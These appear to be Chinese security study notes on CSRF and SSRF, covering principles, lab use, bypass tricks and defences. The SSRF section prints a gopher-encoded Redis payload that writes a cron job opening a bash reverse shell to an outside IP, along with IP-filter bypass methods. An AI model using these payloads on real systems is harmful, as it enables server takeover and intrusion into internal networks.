CSRF-SSRF

CSRF

​ CSRF(跨站请求伪造),攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己以前认证过的站点并运行一些操作(如发邮件,发消息,甚至财产操作)。因为浏览器之前认证过、所以被访问的站点会认为这是真正的用户操作而去运行。

原理

image-20230414214705644

条件

  • 用户已经登录了网站,具有执行各个功能的权限。
  • 攻击者知道功能的数据包。
  • 用户访问了攻击者构造的恶意URL。

利用

pikachu靶场

看到可以修改个人信息

防御

  1. 当用户修改密码时需要输入原密码
  2. 检验referer来源,验证是否为管理员本人在操作
  3. 设置随机token验证
  4. 设置验证码
  5. http头中自定义属性并验证

SSRF

服务端请求伪造是指一种由攻击者造成服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标都是从外网访问的内部系统,借助服务端发起伪造的请求、可以访问到与它相连而与外网隔离的内部系统。

原理

由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤和限制。

思路

  • web功能上查找

    1. 分享:通过URL地址分享网页内容
    2. 转码服务:通过URL地址把原地址的网页内容调优使其更适合手机屏幕浏览
    3. 在线翻译:通过URL地址翻译对应文本的内容
    4. 图片加载和下载:通过URL地址加载或下载图片
    5. 图片、文章收藏功能
    6. 未公开的api实现以及其他调用URL的功能
  • 从URL关键字中寻找

    share wapurl link src source target u 3g display sourceURL imageURL domain等

利用

  • 端口扫描
  • 内网探测
  • 漏洞利用
  • 文件读取等

加载其他东西

?url=http://xxx.xx.xx

扫描端口

?url=http://172.168.10.11:8000/

协议利用

文件读取:file:///c:/aaa/bb.txt

gopher协议攻击内网(条件苛刻)

gopher协议在ssrf的利用中一般用来攻击redis,mysql,fastcgi,smtp等服务

格式:

gopher://ip:port/_TCP/IP数据流

注意

  • gopher协议数据流中,url编码使用%0d%0a替换字符串中的回车换行
  • 数据流末尾使用%0d%0a代表消息结束

gopher攻击redis

  • redis数据流格式:

    *<参数数量> CR LF

    $<参数1的字节数量> CR LF

    <参数1的数据> CR LF

    $<参数N的字节数量> CR LF

    <参数N的数据> CR LF

  • 简单示例

    • *4:表示4个参数config、set、dir、/var/www/html
    • $6:表示每个参数的字节长度config长度为6

    *4

    $6

    config

    $3

    set

    $3

    dir

    $13

    /var/www/html

  • 写入redis计划任务

    set ttt “\n\n\n*/1 * * * * bash -i >& /dev/tcp/xxx.xx.xxx.xx/1444 0>&1\n\n\n\n”
    config set dir /var/spool/cron
    config set dbfilename root
    save
    quite

  • gopher协议数据流

    gopher://127.0.0.1:6379/_3%0d%0a$3%0d%0aset%0d%0a$3%0d%0attt%0d%0a$69%0d%0a%0a%
    0a%0a
    /1 * * * * bash -i >& /dev/tcp/xxx.xx.xxx.xx/1444
    0>&1%0a%0a%0a%0a%0d%0a4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0
    d%0a$16%0d%0a/var/spool/cron/%0d%0a
    4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a
    $10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a1%0d%0a$4%0d%0asave%0d%0a1%0d%0a$4%
    0d%0aquit%0d%0a

  • payload

    gopher://127.0.0.1:6379/_%2a%33%25%30%64%25%30%61%24%33%25%30%64%25%30%61%73%65%
    74%25%30%64%25%30%61%24%33%25%30%64%25%30%61%74%74%74%25%30%64%25%30%61%24%36%39%25%30%64%25%30%61%25%30%61%25%30%61%25%30%61%2a%2f%31%20%2a%20%2a%20%2a%20%2a%20%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%32%34%2e%32%32%31%2e%38%31%2e%32%35%32%2f%31%34%34%34%20%30%3e%26%31%25%30%61%25%30%61%25%30%61%25%30%61%25%30%64%25%30%61%2a%34%25%30%64%25%30%61%24%36%25%30%64%25%30%61%63%6f%6e%66%69%67%25%30%64%25%30%61%24%33%25%30%64%25%30%61%73%65%74%25%30%64%25%30%61%24%33%25%30%64%25%30%61%64%69%72%25%30%64%25%30%61%24%31%36%25%30%64%25%30%61%2f%76%61%72%2f%73%70%6f%6f%6c%2f%63%72%6f%6e%2f%25%30%64%25%30%61%2a%34%25%30%64%25%30%61%24%36%25%30%64%25%30%61%63%6f%6e%66%69%67%25%30%64%25%30%61%24%33%25%30%64%25%30%61%73%65%74%25%30%64%25%30%61%24%31%30%25%30%64%25%30%61%64%62%66%69%6c%65%6e%61%6d%65%25%30%64%25%30%61%24%34%25%30%64%25%30%61%72%6f%6f%74%25%30%64%25%30%61%2a%31%25%30%64%25%30%61%24%34%25%30%64%25%30%61%73%61%76%65%25%30%64%25%30%61%2a%31%25%30%64%25%30%61%24%34%25%30%64%25%30%61%71%75%69%74%25%30%64%25%30%61

  • 查看写入的key

    url=dict://127.0.0.1:6379/keys *

  • 查看是否写入成功

    url=dict://127.0.0.1:6379/get ttt

SSRF绕过

  • 添加端口

    http://127.0.0.1等价于http://127.0.0.1:80

    https端口 443

    过滤时用 . 号分割,127.0.0.1分割为:(127,0,0,1:80),最后一个不是数字,就可以绕过IP地址的限制。

  • 短网址

    把过滤的域名生成短网址。来进行绕过,过滤了某些域名的情况。

  • 数值绕过

    IP地址时32位二进制数据组成

    目前看到的IP地址都是采用点分十进制宝石:如127.0.0.1、172.168.0.1

    127.0.0.1 01111111.00000000.00000000.00000001
    转换成十进制:2130706433浏览器会自动解析成127.0.0.1
    八进制:0177.00.00.01
    十六进制:0x7f.0x0.0x0.0x1

  • 跳转绕过,加@可以跳转到指定的URL

    http://www.baidu.com@127.0.0.1会跳转到127.0.0.1

  • 等价替换

    127.0.0.1可以用localhost或::来替换

    127。0。0。1 >>> 127.0.0.1

  • 利用302跳转

    如果后端服务器在接收到参数后,正确的解析了URL的host,并且进行了过滤,我们这个时候可以使用302跳转的方式来进行绕过。
    http://xip.io 当我们访问这个网站的子域名的时候,例如192.168.0.1.xip.io,就会自动重定向到192.168.0.1。

SSRF防御

  1. 过滤返回的信息,如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。
  2. 统一错误信息,避免用户可以根据错误信息来判断远程服务器的端口状态
  3. 限制请求的端口,比如80、443、8080、8090.
  4. 禁止不常用的协议,仅仅允许http和https请求。可以防止类似于file:///,gopher://,ftp://等引起的问题
  5. 使用DNS缓存或者HOST白名单的方式。